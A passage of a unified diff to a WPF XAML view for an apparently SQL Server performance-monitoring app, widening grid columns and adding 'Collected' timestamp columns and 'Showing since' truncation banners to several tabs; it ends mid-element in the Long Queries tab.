-                                <DataGridTextColumn Binding="{Binding QueryStoreDisplay}" Width="95">
+                                <DataGridTextColumn Binding="{Binding QueryStoreDisplay}" Width="120">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="QueryStoreDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Query Store" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding EncryptedDisplay}" Width="85">
+                                <DataGridTextColumn Binding="{Binding EncryptedDisplay}" Width="105">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="EncryptedDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Encrypted" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding TrustworthyDisplay}" Width="100">
+                                <DataGridTextColumn Binding="{Binding TrustworthyDisplay}" Width="120">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TrustworthyDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Trustworthy" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding DbChainingDisplay}" Width="100">
+                                <DataGridTextColumn Binding="{Binding DbChainingDisplay}" Width="120">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DbChainingDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="DB Chaining" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
                                 <DataGridTextColumn Binding="{Binding BrokerEnabledDisplay}" Width="95">
@@ -2917,36 +3019,39 @@
                                 <DataGridTextColumn Binding="{Binding CdcEnabledDisplay}" Width="70">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CdcEnabledDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="CDC" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding MixedPageAllocationDisplay}" Width="115">
+                                <DataGridTextColumn Binding="{Binding MixedPageAllocationDisplay}" Width="120">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MixedPageAllocationDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Mixed Pages" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding LogReuseWaitDesc}" Width="130">
+                                <DataGridTextColumn Binding="{Binding LogReuseWaitDesc}" Width="135">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="LogReuseWaitDesc" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Log Reuse Wait" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding AutoCloseDisplay}" Width="85">
+                                <DataGridTextColumn Binding="{Binding AutoCloseDisplay}" Width="110">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AutoCloseDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Auto Close" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding AutoShrinkDisplay}" Width="90">
+                                <DataGridTextColumn Binding="{Binding AutoShrinkDisplay}" Width="120">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AutoShrinkDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Auto Shrink" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding PageVerifyOption}" Width="110">
+                                <DataGridTextColumn Binding="{Binding PageVerifyOption}" Width="120">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="PageVerifyOption" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Page Verify" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding TargetRecoveryTimeSeconds}" ElementStyle="{StaticResource NumericCell}" Width="135">
+                                <DataGridTextColumn Binding="{Binding TargetRecoveryTimeSeconds}" ElementStyle="{StaticResource NumericCell}" Width="165">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TargetRecoveryTimeSeconds" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Target Recovery (s)" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding DelayedDurability}" Width="130">
+                                <DataGridTextColumn Binding="{Binding DelayedDurability}" Width="160">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DelayedDurability" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Delayed Durability" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding AdrDisplay}" Width="65">
+                                <DataGridTextColumn Binding="{Binding AdrDisplay}" Width="70">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="AdrDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="ADR" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding MemoryOptimizedDisplay}" Width="120">
+                                <DataGridTextColumn Binding="{Binding MemoryOptimizedDisplay}" Width="150">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="MemoryOptimizedDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Memory Optimized" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding OptimizedLockingDisplay}" Width="125">
+                                <DataGridTextColumn Binding="{Binding OptimizedLockingDisplay}" Width="155">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="OptimizedLockingDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Optimized Locking" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
+                                <DataGridTextColumn Binding="{Binding CaptureTimeLocal}" Width="150" SortMemberPath="CaptureTime">
+                                    <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                </DataGridTextColumn>
                             </DataGrid.Columns>
                         </DataGrid>
                     </TabItem>
@@ -2965,6 +3070,9 @@
                                 <DataGridTextColumn Binding="{Binding ValueForSecondary}" Width="200">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ValueForSecondary" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Value for Secondary" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
+                                <DataGridTextColumn Binding="{Binding CaptureTimeLocal}" Width="150" SortMemberPath="CaptureTime">
+                                    <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                </DataGridTextColumn>
                             </DataGrid.Columns>
                         </DataGrid>
                     </TabItem>
@@ -2991,12 +3099,15 @@
                                 <DataGridTextColumn Header="Interval Min" Binding="{Binding IntervalLengthMinutes}" Width="95" ElementStyle="{StaticResource NumericCell}"/>
                                 <!-- V137 (#3796): the two capture modes, trailing like the store columns and the MCP payload. ALL is the
                                      plan-churn factory; a dash is a pre-rung row (or, for wait stats, a 2016 engine), never OFF. -->
-                                <DataGridTextColumn Binding="{Binding CaptureModeDisplay}" Width="110">
+                                <DataGridTextColumn Binding="{Binding CaptureModeDisplay}" Width="125">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureModeDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Capture Mode" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
-                                <DataGridTextColumn Binding="{Binding WaitStatsCaptureModeDisplay}" Width="130">
+                                <DataGridTextColumn Binding="{Binding WaitStatsCaptureModeDisplay}" Width="160">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="WaitStatsCaptureModeDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Wait Stats Capture" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                 </DataGridTextColumn>
+                                <DataGridTextColumn Binding="{Binding CaptureTimeLocal}" Width="150" SortMemberPath="CaptureTime">
+                                    <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                </DataGridTextColumn>
                             </DataGrid.Columns>
                         </DataGrid>
                     </TabItem>
@@ -3037,16 +3148,19 @@
                                     <DataGridTextColumn Binding="{Binding StatusDisplay}" Width="100">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="StatusDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Status" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding GlobalDisplay}" Width="80">
+                                    <DataGridTextColumn Binding="{Binding GlobalDisplay}" Width="90">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="GlobalDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Global" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
-                                    <DataGridTextColumn Binding="{Binding SessionDisplay}" Width="80">
+                                    <DataGridTextColumn Binding="{Binding SessionDisplay}" Width="95">
                                         <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="SessionDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Session" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
                                     </DataGridTextColumn>
+                                    <DataGridTextColumn Binding="{Binding CaptureTimeLocal}" Width="150" SortMemberPath="CaptureTime">
+                                        <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CaptureTimeLocal" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Collected" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
+                                    </DataGridTextColumn>
                                 </DataGrid.Columns>
                             </DataGrid>
-                            <!-- Shown only where the trace_flags collector does not run (Azure SQL Database) or has never run for this server. -->
-                            <TextBlock x:Name="TraceFlagsNoDataMessage" Style="{StaticResource EmptyHint}"/>
+                            <!-- Shown when the grid has no rows: its own words say no trace flags are enabled, and the engine-gap sentence replaces them where the trace_flags collector does not run (Azure SQL Database) or has never run for this server. -->
+                            <TextBlock x:Name="TraceFlagsNoDataMessage" Style="{StaticResource EmptyHint}" Text="No trace flags are enabled on this server."/>
                         </Grid>
                     </TabItem>
                 </TabControl>
@@ -3073,7 +3187,17 @@
                 <TabControl Grid.Row="1" Background="Transparent" BorderThickness="0" ItemContainerStyle="{DynamicResource SubTabItemStyle}">
                     <TabItem Header="Server Config Changes">
                         <Grid>
-                            <DataGrid x:Name="ServerConfigChangesGrid" Style="{StaticResource DarkGrid}" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
+                            <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
+                                <RowDefinition Height="*"/>
+                            </Grid.RowDefinitions>
+                            <!-- "Showing since <start>" when this server's server_config snapshots start after the range does: the earlier of the
+                                 collector's coverage (DataWindowFloor) and the earliest change shown (#4966). -->
+                            <TextBlock Grid.Row="0" x:Name="ServerConfigChangesTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold" Margin="0,0,0,8"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <DataGrid Grid.Row="1" x:Name="ServerConfigChangesGrid" Style="{StaticResource DarkGrid}" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
                                 <DataGrid.Columns>
                                     <DataGridTextColumn Binding="{Binding ChangeTimeDisplay}" Width="150" SortMemberPath="ChangeTime"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ChangeTimeDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Change Time" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
                                     <DataGridTextColumn Binding="{Binding ConfigurationName}" Width="260"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ConfigurationName" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Configuration" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
@@ -3087,12 +3211,21 @@
                                     <DataGridTextColumn Binding="{Binding ChangeDescription}" Width="*" MinWidth="250"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ChangeDescription" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Change Description" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
                                 </DataGrid.Columns>
                             </DataGrid>
-                            <TextBlock x:Name="ServerConfigChangesNoDataMessage" Style="{StaticResource EmptyHint}" Text="No server configuration changes in the selected time window (needs at least two config captures bracketing a change)."/>
+                            <TextBlock Grid.Row="1" x:Name="ServerConfigChangesNoDataMessage" Style="{StaticResource EmptyHint}" Text="No server configuration changes in the selected time window (needs at least two config captures bracketing a change)."/>
                         </Grid>
                     </TabItem>
                     <TabItem Header="Database Config Changes">
                         <Grid>
-                            <DataGrid x:Name="DatabaseConfigChangesGrid" Style="{StaticResource DarkGrid}" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
+                            <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
+                                <RowDefinition Height="*"/>
+                            </Grid.RowDefinitions>
+                            <!-- The same note for the database_config snapshots (#4966). -->
+                            <TextBlock Grid.Row="0" x:Name="DatabaseConfigChangesTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold" Margin="0,0,0,8"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <DataGrid Grid.Row="1" x:Name="DatabaseConfigChangesGrid" Style="{StaticResource DarkGrid}" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
                                 <DataGrid.Columns>
                                     <DataGridTextColumn Binding="{Binding ChangeTimeDisplay}" Width="150" SortMemberPath="ChangeTime"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ChangeTimeDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Change Time" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
                                     <DataGridTextColumn Binding="{Binding DatabaseName}" Width="180"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="DatabaseName" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Database" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
@@ -3102,12 +3235,21 @@
                                     <DataGridTextColumn Binding="{Binding ChangeDescription}" Width="*" MinWidth="250"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ChangeDescription" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Change Description" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
                                 </DataGrid.Columns>
                             </DataGrid>
-                            <TextBlock x:Name="DatabaseConfigChangesNoDataMessage" Style="{StaticResource EmptyHint}" Text="No database configuration changes in the selected time window (needs at least two config captures bracketing a change)."/>
+                            <TextBlock Grid.Row="1" x:Name="DatabaseConfigChangesNoDataMessage" Style="{StaticResource EmptyHint}" Text="No database configuration changes in the selected time window (needs at least two config captures bracketing a change)."/>
                         </Grid>
                     </TabItem>
                     <TabItem Header="Trace Flag Changes">
                         <Grid>
-                            <DataGrid x:Name="TraceFlagChangesGrid" Style="{StaticResource DarkGrid}" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
+                            <Grid.RowDefinitions>
+                                <RowDefinition Height="Auto"/>
+                                <RowDefinition Height="*"/>
+                            </Grid.RowDefinitions>
+                            <!-- The same note for the trace_flags snapshots (#4966). -->
+                            <TextBlock Grid.Row="0" x:Name="TraceFlagChangesTruncationBanner" Visibility="Collapsed"
+                                       Padding="8,4" FontWeight="Bold" Margin="0,0,0,8"
+                                       Foreground="{DynamicResource ForegroundBrush}"
+                                       Background="#22FFAA00"/>
+                            <DataGrid Grid.Row="1" x:Name="TraceFlagChangesGrid" Style="{StaticResource DarkGrid}" HorizontalScrollBarVisibility="Auto" VerticalScrollBarVisibility="Auto">
                                 <DataGrid.Columns>
                                     <DataGridTextColumn Binding="{Binding ChangeTimeDisplay}" Width="150" SortMemberPath="ChangeTime"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ChangeTimeDisplay" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Change Time" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
                                     <DataGridTextColumn Binding="{Binding TraceFlag}" ElementStyle="{StaticResource NumericCell}" Width="100"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="TraceFlag" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Trace Flag" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
@@ -3119,7 +3261,7 @@
                                     <DataGridTextColumn Binding="{Binding ChangeDescription}" Width="*" MinWidth="230"><DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="ChangeDescription" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Change Description" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header></DataGridTextColumn>
                                 </DataGrid.Columns>
                             </DataGrid>
-                            <TextBlock x:Name="TraceFlagChangesNoDataMessage" Style="{StaticResource EmptyHint}" Text="No trace flag changes in the selected time window (needs at least two config captures bracketing an enable/disable)."/>
+                            <TextBlock Grid.Row="1" x:Name="TraceFlagChangesNoDataMessage" Style="{StaticResource EmptyHint}" Text="No trace flag changes in the selected time window (needs at least two config captures bracketing an enable/disable)."/>
                         </Grid>
                     </TabItem>
                 </TabControl>
@@ -3159,7 +3301,19 @@
              shreds it with the Common SystemHealthParser, and shows only the sp_HealthParser-significant
              rows (SystemEventSignificance). Event times render machine-local (the XE @timestamp). -->
         <TabItem Header="System Events">
-            <TabControl x:Name="SystemEventsSubTabControl" Background="Transparent" BorderThickness="0"
+            <Grid>
+                <Grid.RowDefinitions>
+                    <RowDefinition Height="Auto"/>
+                    <RowDefinition Height="*"/>
+                </Grid.RowDefinitions>
+                <!-- "Showing since <start>" above the sub-tab control, for the nine grids that read system_health_events and
+                     default_trace_events: the earlier of the collectors' coverage and the earliest event shown (#4966). The two
+                     chart sub-tabs take it down. -->
+                <TextBlock x:Name="SystemEventsTruncationBanner" Grid.Row="0" Visibility="Collapsed"
+                           Padding="8,4" FontWeight="Bold"
+                           Foreground="{DynamicResource ForegroundBrush}"
+                           Background="#22FFAA00"/>
+            <TabControl Grid.Row="1" x:Name="SystemEventsSubTabControl" Background="Transparent" BorderThickness="0"
                         ItemContainerStyle="{DynamicResource SubTabItemStyle}"
                         SelectionChanged="SystemEventsSubTabs_SelectionChanged">
 
@@ -3531,6 +3685,7 @@
                     </Grid>
                 </TabItem>
             </TabControl>
+            </Grid>
         </TabItem>
 
         <!-- Latches & Spinlocks Tab — the Dashboard-parity port of ResourceMetricsContent's Latch Stats /
@@ -3544,15 +3699,22 @@
         <TabItem Header="Latches &amp; Spinlocks">
             <Grid Margin="8">
                 <Grid.RowDefinitions>
+                    <RowDefinition Height="Auto"/>
                     <RowDefinition Height="*"/>
                     <RowDefinition Height="Auto"/>
+                    <RowDefinition Height="Auto"/>
                     <RowDefinition Height="*"/>
                     <RowDefinition Height="Auto"/>
                 </Grid.RowDefinitions>
 
                 <!-- Latch wait-time trend (top 5 classes by delta wait) + per-class latest-snapshot grid. -->
-                <scottplot:WpfPlot Grid.Row="0" x:Name="LatchStatsChart"/>
-                <Expander Grid.Row="1" Header="Latch classes (latest snapshot)" IsExpanded="False" Margin="0,4,0,0">
+                <!-- "Showing since <start>" when this server's latch_stats rows start after the range does: the trend draws a flat zero over an empty stretch (#4966). -->
+                <TextBlock Grid.Row="0" x:Name="LatchStatsTruncationBanner" Visibility="Collapsed"
+                           Padding="8,4" FontWeight="Bold"
+                           Foreground="{DynamicResource ForegroundBrush}"
+                           Background="#22FFAA00"/>
+                <scottplot:WpfPlot Grid.Row="1" x:Name="LatchStatsChart"/>
+                <Expander Grid.Row="2" Header="Latch classes (latest snapshot)" IsExpanded="False" Margin="0,4,0,0">
                     <DataGrid x:Name="LatchStatsGrid" Style="{StaticResource DarkGrid}" MaxHeight="220" Margin="0,4,0,0">
                         <DataGrid.Columns>
                             <DataGridTextColumn Header="Latch Class" Binding="{Binding LatchClass}" Width="*"/>
@@ -3565,13 +3727,19 @@
                             <DataGridTextColumn Header="Wait Time (ms)" Binding="{Binding WaitTimeMs, StringFormat=N0}" ElementStyle="{StaticResource NumericCell}" Width="120"/>
                             <DataGridTextColumn Header="Max Wait (ms)" Binding="{Binding MaxWaitTimeMs, StringFormat=N0}" ElementStyle="{StaticResource NumericCell}" Width="110"/>
                             <DataGridTextColumn Header="Waiting Reqs (total)" Binding="{Binding WaitingRequestsCount, StringFormat=N0}" ElementStyle="{StaticResource NumericCell}" Width="140"/>
+                            <DataGridTextColumn Header="Collected" Binding="{Binding CollectionTimeLocal}" Width="140" SortMemberPath="CollectionTime"/>
                         </DataGrid.Columns>
                     </DataGrid>
                 </Expander>
 
                 <!-- Spinlock collisions trend (top 5 spinlocks by delta collisions) + per-spinlock snapshot grid. -->
-                <scottplot:WpfPlot Grid.Row="2" x:Name="SpinlockStatsChart" Margin="0,8,0,0"/>
-                <Expander Grid.Row="3" Header="Spinlocks (latest snapshot)" IsExpanded="False" Margin="0,4,0,0">
+                <!-- "Showing since <start>" when this server's spinlock_stats rows start after the range does: the trend draws a flat zero over an empty stretch (#4966). -->
+                <TextBlock Grid.Row="3" x:Name="SpinlockStatsTruncationBanner" Visibility="Collapsed"
+                           Padding="8,4" FontWeight="Bold"
+                           Foreground="{DynamicResource ForegroundBrush}"
+                           Background="#22FFAA00"/>
+                <scottplot:WpfPlot Grid.Row="4" x:Name="SpinlockStatsChart" Margin="0,8,0,0"/>
+                <Expander Grid.Row="5" Header="Spinlocks (latest snapshot)" IsExpanded="False" Margin="0,4,0,0">
                     <DataGrid x:Name="SpinlockStatsGrid" Style="{StaticResource DarkGrid}" MaxHeight="220" Margin="0,4,0,0">
                         <DataGrid.Columns>
                             <DataGridTextColumn Header="Spinlock" Binding="{Binding SpinlockName}" Width="*"/>
@@ -3584,6 +3752,7 @@
                             <DataGridTextColumn Header="Spins (total)" Binding="{Binding Spins, StringFormat=N0}" ElementStyle="{StaticResource NumericCell}" Width="120"/>
                             <DataGridTextColumn Header="Sleep Time" Binding="{Binding SleepTime, StringFormat=N0}" ElementStyle="{StaticResource NumericCell}" Width="100"/>
                             <DataGridTextColumn Header="Backoffs" Binding="{Binding Backoffs, StringFormat=N0}" ElementStyle="{StaticResource NumericCell}" Width="100"/>
+                            <DataGridTextColumn Header="Collected" Binding="{Binding CollectionTimeLocal}" Width="140" SortMemberPath="CollectionTime"/>
                         </DataGrid.Columns>
                     </DataGrid>
                 </Expander>
@@ -3686,7 +3855,18 @@
                     <TabItem Header="Collection Log">
                         <!-- Lite's "Open Log File" button dropped (it opens Lite's local log file; the
                              viewer has no equivalent), so the grid fills the whole sub-tab. -->
-                        <DataGrid x:Name="CollectionLogGrid" Style="{StaticResource DarkGrid}">
+                        <Grid>
+                        <Grid.RowDefinitions>
+                            <RowDefinition Height="Auto"/>
+                            <RowDefinition Height="*"/>
+                        </Grid.RowDefinitions>
+                        <!-- "Showing since <start>" when this server's collection log starts after the range does, or when the newest 500 runs
+                             stop short of its start: the earlier of the log's coverage (DataWindowFloor) and the earliest run shown (#4966). -->
+                        <TextBlock Grid.Row="0" x:Name="CollectionLogTruncationBanner" Visibility="Collapsed"
+                                   Padding="8,4" FontWeight="Bold" Margin="0,0,0,8"
+                                   Foreground="{DynamicResource ForegroundBrush}"
+                                   Background="#22FFAA00"/>
+                        <DataGrid Grid.Row="1" x:Name="CollectionLogGrid" Style="{StaticResource DarkGrid}">
                             <DataGrid.Columns>
                                 <DataGridTextColumn Binding="{Binding CollectionTimeFormatted}" Width="130" SortMemberPath="CollectionTime">
                                     <DataGridTextColumn.Header><StackPanel Orientation="Horizontal"><Button Style="{DynamicResource ColumnFilterButtonStyle}" Tag="CollectionTimeFormatted" Click="FilterButton_Click" Margin="0,0,4,0"/><TextBlock Text="Time" FontWeight="Bold" VerticalAlignment="Center"/></StackPanel></DataGridTextColumn.Header>
@@ -3728,6 +3908,7 @@
                                 </DataGridTextColumn>
                             </DataGrid.Columns>
                         </DataGrid>
+                        </Grid>
                     </TabItem>
                     <TabItem Header="Duration Trends">
                         <scottplot:WpfPlot x:Name="CollectorDurationChart" Margin="4"/>
@@ -3737,20 +3918,27 @@
         </TabItem>
 
         <!-- Long Queries Tab (#1496) — completed long-running queries + attentions (cancels/timeouts) from
-             the opt-in PerformanceMonitor_LongQueryCompletions XE session. Default OFF; the banner points to
-             where the switch lives when the collector is disabled. MUST remain the last inner tab (index 18). -->
+             the opt-in XE session the service makes (PerformanceMonitor_Darling_{id}_LongQueryCompletions).
+             Default OFF; the banner points to where the switch lives when the collector is disabled. MUST remain
+             the last inner tab (index 18). -->
         <TabItem Header="Long Queries">
             <Grid Margin="8">
                 <Grid.RowDefinitions>
+                    <RowDefinition Height="Auto"/>
                     <RowDefinition Height="Auto"/>
                     <RowDefinition Height="Auto"/>
                     <RowDefinition Height="*"/>
                 </Grid.RowDefinitions>
                 <TextBlock Grid.Row="0" Text="Long-Running Query Completions (RPC / batch completions over the duration threshold, plus attentions / cancels)" FontSize="14" FontWeight="SemiBold" Margin="0,0,0,8" TextWrapping="Wrap"/>
                 <TextBlock Grid.Row="1" x:Name="LongQueriesDisabledWarning" Visibility="Collapsed"
